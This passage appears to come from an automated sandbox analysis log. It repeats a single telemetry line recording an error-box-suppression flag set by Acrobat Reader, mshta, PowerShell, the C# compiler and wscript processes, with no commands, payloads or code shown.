                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
